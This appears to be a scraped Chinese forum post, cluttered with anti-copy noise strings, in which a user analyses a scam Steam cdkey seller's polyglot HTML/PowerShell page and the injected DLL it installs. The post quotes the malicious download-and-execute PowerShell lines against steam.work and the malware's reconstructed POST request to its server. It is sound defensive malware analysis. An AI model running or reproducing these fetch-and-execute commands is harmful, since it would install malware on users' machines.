|
|
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:8 U2 [$ v4 }+ a. l# y- P; E0 H
, u8 s, ?6 v0 `
; ?* n2 S Q$ a0 a( M7 \2 e啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?
; X ]* T. I& ?7 l/ f& C+ n/ w5 U
. c; f f2 t! ~* q. Z" B1 O0 g0 z" t我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:, `( v9 f5 L' D4 M$ m2 k2 m7 k
 % X% X7 \# F! T% |1 q/ ^
好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损
7 U+ V9 d& A$ B b# E2 s, a1 @2 G) V
那么真实的代码就只剩两行了:
& f C/ V" V6 {: P5 [; {! O[PowerShell] 纯文本查看 复制代码 Y7 z$ X# e8 D5 L" B0 ?
?8 `+ l/ s8 e: v. ]9 K& P( M
1
/ u5 v$ T# y. K$ `1 e) e* I7 ?2" H. D- ]; r/ ^
| irm steam.work/pwsDwFile/new1 -OutFile x.ps18 O5 J% ^6 z' u6 M
powershell.exe -ExecutionPolicy Bypass -File x.ps1;- o7 }3 n/ j4 b! K! Q
5 Y; Q+ x! c2 v. m: _8 y
| 0 M3 k4 u1 Y7 \' `1 K
7 w/ [9 c5 E- T6 Y; o% a
7 Z- Y e5 k- v
! V2 X2 `" q% A* F2 M7 e9 x! }0 B/ i0 s/ s9 C& T
看得出来,又是下脚本...我们把这玩意也下下来看一眼:
: _! B, i4 K G0 x u0 v0 z6 W2 p/ h% l7 M
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!6 G6 [. b6 q* s F& o |
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:6 y# G' x! i, V
1. 把危险函数 VirtualAlloc 等 伪装成普通函数:1 ~; h' H( e: |6 D3 K8 h. E6 p

! z" F! ^$ K# W# N- Y2. 里面有 zlib.inflate (图里打错了)
" d8 L8 w7 d1 t. c8 f$ f, X9 @) u
7 N0 Q% c& J3 G7 m+ X% z3 M& L! f9 a% h( Q. [
看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
) I1 M* h3 ^& E/ G% v% W打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西% @+ b a5 X' f/ D- c8 _ p7 p

% n9 N+ E& o7 t5 A2 a[eax + 0x4 * 3] -> 解压出缓冲区指针5 j( B. g9 T8 s" u3 D4 i; }; W
[eax + 0x4 * 5] -> 解压出数据长度
$ k- N* i: ?4 ^: X1 C: S; a; G2 {不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
7 t) l: Z- c0 Y$ V# W这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:3 _$ d/ A% N s5 s! J, L0 u) D0 b
. a& U( Q" `) K4 O) y v
怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?
7 B+ p" ^1 J6 `1 O# M3 J; f 3 @2 i" X* s7 m4 f. Z- G7 Z
这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串; g i* c, O/ w& j: s; f( S) {8 F
6 O0 F4 s9 }( a
(接前文): \$ ~: V0 [; B4 X5 K( d3 O
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数
$ d4 b$ ^* }" F直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
9 h$ X9 J9 X% _! n然后就断下来了,我们来看一眼/ g( t- n) D" `" v7 E/ R
/ y2 e* i# n0 l0 A
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下
4 x8 [4 w; J. ^在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:
O- Y5 Z- D' \- `
6 x3 v5 ` I7 j& \HTTP1.1 POST http://api.steam.work/api/integral/vs) v8 s7 g& h9 f- r
Referer: version
, F( S! {0 W! x- s/ a+ S% ^; |user-agent: steam
. _: S7 E, [3 |5 I{"sign":"ckv"}2 Z3 l* v5 `9 ^" u6 B4 n
# J2 O4 R3 |- p/ k5 L o: K, W* { m

: e0 ~4 e: ~" s; J1 P2 p* K3 g$ R; w' L
7 n; \' K( {8 n1 i$ T返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点, \9 [7 m, `# V7 R [4 \7 ?
sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……); B' ^' T3 v# ?1 ^: b5 n, r
6 ~4 U7 G5 E0 P7 ?6 I$ ~( Q于是转移到一台实机上继续分析。/ J+ }! a: w1 _. X9 Z0 ?, u7 p( n
9 X5 W* i6 c, I
$ \8 @1 C/ x/ j& y# o* {' M- M# C直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
$ a7 A4 }6 B+ Z* Z0 K' G8 s c把请求掏出来看看:! R# V% ^! H+ H6 I1 w* X
# S- p& W1 L, Q! a: U7 `/ A
看起来是成功了,返回一个 code 和一个 data;
5 o: ^- a. l# }4 n e O2 `这个 ID 又是啥?
. } p' x. @* E2 |$ o7 _ ' P7 r$ |+ [! y' w. R7 o
哦,哈迪斯的 App ID
: G4 c2 |! W; e( `2 B. z那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里* {% k3 }% W# A& v
C:\Program Files (x86)\Steam\package\data
3 Q S8 W: |; e
& `' e# S# d# c* y2 d这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!+ z6 }; u. o$ ^
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开& F5 U4 v# h; C- e: |! G

# G9 t8 Y6 w: J居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:
; a& k) O& r) w! c - t- i0 `# C% E& ^, G/ J# P
有个appid,和两个不认识的hex;把键名拿去搜搜看:
9 p; C) u, r9 J0 G6 c8 s. i0 {
/ }( q, ?; ?9 ~8 h8 |
" D) R0 ~( A( B- b3 b原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!
' }- l, ^8 |) O/ w8 s4 Z$ C* j: h O$ E( k
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey
: I% e6 B7 g; d# ?- X- \) S: v1 L' r
| ! Y+ r8 t; ]1 L0 ]5 _1 ]
. M+ Y$ c8 D0 S+ ]/ d7 Y' J6 _+ B1 |
j" a& A' g, b$ ]
4 l: Q# C; c; c0 {3 i$ M5 x! j" Q5 v% l. K' o
9 S) V2 [% u e
9 f0 c$ ~2 Q4 P! g7 [0 U7 U7 B* `7 A5 L! |! p$ L3 C4 G1 l
$ t, ~- P9 r5 L9 v8 K1 [1 H# t* d8 h1 s* q, M& P& D1 ^, q G: a# C
9 v1 F/ r7 Q6 S |
|